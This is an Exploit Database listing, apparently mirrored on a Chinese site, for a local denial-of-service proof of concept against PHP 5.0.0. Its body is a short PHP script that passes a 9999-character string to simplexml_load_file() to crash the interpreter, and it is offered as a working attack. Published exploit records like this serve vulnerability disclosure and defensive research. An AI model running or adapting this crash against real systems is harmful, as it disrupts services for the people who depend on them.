PHP 5.0.0 – ‘simplexml_load_file()’ Local Denial of Service

• Exploit Database
• 84 阅读

• 作者： Yakir Wizman
  日期： 2016-08-29
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40305/

• <?php
  #############################################################################
  ## PHP 5.0.0 simplexml_load_file() Local Denial of Service
  ## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
  ## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
  ## Date: 26/08/2016
  ## Local Denial of Service
  ## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
  ## http://www.black-rose.ml
  #############################################################################
  if (!extension_loaded("domxml")) die("You need domxml extension loaded!");
  
  $str = str_repeat('A', 9999);
  simplexml_load_file($str);
  ?> 
  

  Python

  Copy